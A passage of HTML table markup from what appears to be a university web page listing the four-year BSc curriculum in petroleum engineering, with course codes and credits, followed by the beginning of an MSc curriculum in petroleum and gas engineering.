width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"30\">\r\n  <td height=\"30\">ENGL 101</td>\r\n  <td width=\"258\">English\r\n  Foundations_I</td>\r\n  <td width=\"59\">4</td>\r\n  <td>8</td>\r\n  <td>&nbsp;</td>\r\n  <td>CHEM 112</td>\r\n  <td width=\"234\">Chemistry_II\r\n  and lab</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\"></td>\r\n  <td width=\"258\">Social Science**</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 102</td>\r\n  <td width=\"234\">English\r\n  Foundation _II</td>\r\n  <td width=\"53\">4</td>\r\n  <td>8</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td width=\"258\">Credit</td>\r\n  <td>16</td>\r\n  <td>32</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">Azerbaijan\r\n  Culture</td>\r\n  <td width=\"53\">2</td>\r\n  <td>4</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"></td>\r\n  <td width=\"258\">&nbsp;</td>\r\n  <td></td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n  <td width=\"234\">Credit</td>\r\n  <td>18</td>\r\n  <td>36</td>\r\n </tr>\r\n <tr id=\"zebra\" height=\"21\">\r\n  <td height=\"21\"></td>\r\n  <td colspan=\"8\"><strong>2<sup>nd&nbsp;</sup>Year</strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td style=\"font-size:large\"><strong>Fall Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td width=\"234\" style=\"font-size:large\"><strong>Spring Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 210</td>\r\n  <td width=\"258\">Differential\r\n  Equations</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>GEOL 203</td>\r\n  <td width=\"234\">General Geology</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGL 103</td>\r\n  <td width=\"258\">ESP\r\n  Petroleum Eng.</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\"><strong>Elective\r\n</strong>  (major)***</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"25\">\r\n  <td height=\"25\">CMS 202</td>\r\n  <td width=\"258\">Computer\r\n  Application in Engineering</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>MATH 221</td>\r\n  <td width=\"234\">Numerical\r\n  Methods for Engineers</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">PETE 202</td>\r\n  <td width=\"258\">Introduction\r\n  to Petroleum Engineering</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGR 213</td>\r\n  <td width=\"234\">Termodynamics</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">PHSC 212</td>\r\n  <td width=\"258\">Physics_II</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">Humanity*</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"32\">\r\n  <td height=\"32\">&nbsp;</td>\r\n  <td width=\"258\">Humanity*</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">Credit</td>\r\n  <td>15</td>\r\n  <td>30</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td width=\"258\">Credit</td>\r\n  <td>18</td>\r\n  <td>36</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr id=\"zebra\" height=\"25\">\r\n  <td height=\"25\"></td>\r\n  <td colspan=\"8\"><strong>3<sup>rd&nbsp;</sup>Year</strong></td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\" style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td style=\"font-size:large\"><strong>Fall Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td width=\"234\" style=\"font-size:large\"><strong>Spring Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENGR 205</td>\r\n  <td width=\"258\">Engineering\r\n  Mechanics&nbsp;</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\"><strong>Elective\r\n</strong>  (major)***</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"35\">\r\n  <td height=\"35\">GEOL 310</td>\r\n  <td width=\"258\">Petroleum\r\n  Geology</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>MED 315</td>\r\n  <td width=\"234\">Life\r\n  Science</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\">PETE 302</td>\r\n  <td width=\"258\">Drilling\r\n  Engineering</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGR&nbsp;\r\n  303</td>\r\n  <td width=\"234\">Introduction\r\n  to Fluid Mechanics</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">MATH 340</td>\r\n  <td width=\"258\">Statistical\r\n  Methods for Engineers</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 318</td>\r\n  <td width=\"234\">Well&nbsp; Completion</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PETE 303</td>\r\n  <td width=\"258\">Physics\r\n  of Oil and Gas Reservoirs&nbsp;</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 323</td>\r\n  <td width=\"234\">Petroleum\r\n  Reservoir Engineering</td>\r\n  <td width=\"53\">4</td>\r\n  <td>8</td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\"></td>\r\n  <td>Social Science**</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 350</td>\r\n  <td width=\"234\">Summer\r\n  Practice&nbsp;</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\">&nbsp;</td>\r\n  <td width=\"258\">Credit</td>\r\n  <td>18</td>\r\n  <td>30</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">Credit</td>\r\n  <td>19</td>\r\n  <td>36</td>\r\n </tr>\r\n <tr id=\"zebra\" height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>4<sup>th&nbsp;</sup>Year</strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td style=\"font-size:large\"><strong>Fall Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td width=\"234\" style=\"font-size:large\"><strong>Spring Semester</strong></td>\r\n  <td style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n </tr>\r\n <tr height=\"27\">\r\n  <td height=\"27\">PETE 402</td>\r\n  <td width=\"258\">Petroleum\r\n  Production Engineering I</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 423</td>\r\n  <td width=\"234\">Petroleum\r\n  Production Engineering II</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">PETE 417</td>\r\n  <td width=\"258\">Petroleum\r\n  Reservoir Simulation&nbsp;</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 421</td>\r\n  <td width=\"234\">Petroleum\r\n  Economics</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"38\">\r\n  <td height=\"38\">PETE 338</td>\r\n  <td width=\"258\">Fluid\r\n  Mechanics for Petroleum Engineers</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENV 305</td>\r\n  <td width=\"234\">Health,\r\n  Safety &amp; Environment&nbsp;</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"33\">\r\n  <td height=\"33\">&nbsp;</td>\r\n  <td width=\"258\"><strong>Elective\r\n</strong>  (major)***</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\"><strong>Elective\r\n</strong>  (major)***</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"33\">\r\n  <td height=\"33\">&nbsp;</td>\r\n  <td width=\"258\">Credit</td>\r\n  <td width=\"59\">12</td>\r\n  <td>24</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">Credit</td>\r\n  <td>12</td>\r\n  <td>24</td>\r\n </tr>\r\n <tr height=\"25\">\r\n  <td height=\"25\"></td>\r\n  <td><strong>Total</strong></td>\r\n  <td>128</td>\r\n  <td>256</td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">&nbsp;</td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"25\">\r\n  <td height=\"25\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">&nbsp;</td>\r\n  <td width=\"53\">&nbsp;</td>\r\n  <td width=\"55\">&nbsp;</td>\r\n </tr>\r\n <tr id=\"zebra\" height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>* Humanity Courses List:</td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">***Major\r\n  Electives List:</td>\r\n  <td width=\"53\">ECTS</td>\r\n  <td>Semestr</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">PHIL 130</td>\r\n  <td>Culture of\r\n  Philosophy</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>CIV&nbsp; 215</td>\r\n  <td width=\"234\">Engineering\r\n  Drawing</td>\r\n  <td>6</td>\r\n  <td>IV</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>Foreign Language</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>CMS 350</td>\r\n  <td>Computer Graphics</td>\r\n  <td>6</td>\r\n  <td>IV</td>\r\n </tr>\r\n <tr height=\"19\">\r\n  <td height=\"19\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 312</td>\r\n  <td width=\"234\">Well Logging</td>\r\n  <td>6</td>\r\n  <td>VI</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td>** Social Sciences</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>PETE 311</td>\r\n  <td>Reservoir Petrophysics</td>\r\n  <td>6</td>\r\n  <td>VI</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MGT310</td>\r\n  <td>Management and\r\n  Organization</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGR 312</td>\r\n  <td>Mechanics of Materials</td>\r\n  <td>6</td>\r\n  <td>VI</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\">LAW 220</td>\r\n  <td>Family Law</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 415</td>\r\n  <td width=\"234\">Gas\r\n  and Gas-condensate Reservoir Engineering</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VII</td>\r\n </tr>\r\n <tr height=\"29\">\r\n  <td height=\"29\">ECON 101</td>\r\n  <td>Introduction to\r\n  Economics</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 422</td>\r\n  <td width=\"234\">Petroleum\r\n  Property Valuation</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 451</td>\r\n  <td width=\"234\">Petroleum\r\n  Engineering Design&nbsp;</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VIII</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\">&nbsp;</td>\r\n  <td>Science and\r\n  Technology</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 410</td>\r\n  <td width=\"234\">Oil\r\n  and Gas Gathering, Treatment and Storage</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VIII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MATH 101</td>\r\n  <td>Calculus 1</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 458</td>\r\n  <td width=\"234\">Well\r\n  Performance</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VIII</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\">CMS 202</td>\r\n  <td>Computer Application\r\n  in Engineering</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"68\">PETE 414</td>\r\n  <td width=\"234\">Transportation\r\n  Processes in Petroleum&nbsp; Production</td>\r\n  <td class=\"xl160\" width=\"53\" style=\"\" border-top:none;border-left:none;width:40pt\";text-align:right\"=\"\">6</td>\r\n  <td width=\"55\">VIII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MED 315</td>\r\n  <td>Life Science</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"234\">&nbsp;</td>\r\n  <td width=\"53\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>ECTS</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>University\r\n  Requirement English</td>\r\n  <td>22</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>University\r\n  Requirement Azeri</td>\r\n  <td>16</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Humanity</td>\r\n  <td>12</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Social Sciences</td>\r\n  <td>12</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td>Science and\r\n  Technology</td>\r\n  <td>18</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td>&nbsp;</td>\r\n  <td>Major Courses</td>\r\n  <td>176</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td><strong>Total</strong></td>\r\n  <td>256</td>\r\n  <td></td>\r\n </tr></tbody></table><br>  <div><br></div><div><br></div><div><h3><strong>MSc </strong><strong>Curriculum</strong><strong> in Petroleum\r\nand Gas Engineering</strong></h3>\r\n<p><strong>&nbsp;</strong></p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" width=\"680\">\r\n <tbody><tr id=\"zebra\">\r\n  <td width=\"680\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center\"=\"\"><strong>First Year</strong><strong></strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Fall\r\n  Semester&nbsp; (16 credits)</strong></p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Spring\r\n  Semester&nbsp; (16 credits)</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 505: Advanced Drilling\r\n  Engineering (4 credits)</p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 548: Advanced\r\n  Production Technology (4\r\n  credits)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE\r\n  509:Petroleum Geoscience (4 credits)</p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 540: Advanced Reservoir\r\n  Engineering (4 credits)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 531: Formation Evaluation ( 4 credits) </p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 551: Design and Development of Oil and\r\n  Gas fields &nbsp;(4 credits)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 538: Well Stimulation </p>\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 563: Petroleum Reservoir Management and\r\n  Evaluation(4 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n </tr>\r\n <tr id=\"zebra\">\r\n  <td width=\"680\" colspan=\"2\" style=\"\" width:509.75pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center\"=\"\"><strong>Second Year</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Fall\r\n  Semester (16 credits)</strong></p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Spring\r\n  Semester (12 credits)</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE\r\n  542: Advanced\r\n  Gas and Gas-Condensate Reservoir Engineering&nbsp;&nbsp;\r\n  (4 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td width=\"304\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\">PETE 590:MS thesis&nbsp; (12\r\n  credits)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>PETE 570: Numerical Reservoir Simulation (4\r\n  credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td width=\"304\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Major Elective</strong> (4 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td width=\"304\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"375\" style=\"\" width:281.5pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Major Elective</strong> (4 credits)</p>\r\n  </td>\r\n  <td width=\"304\" style=\"\" width:228.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" 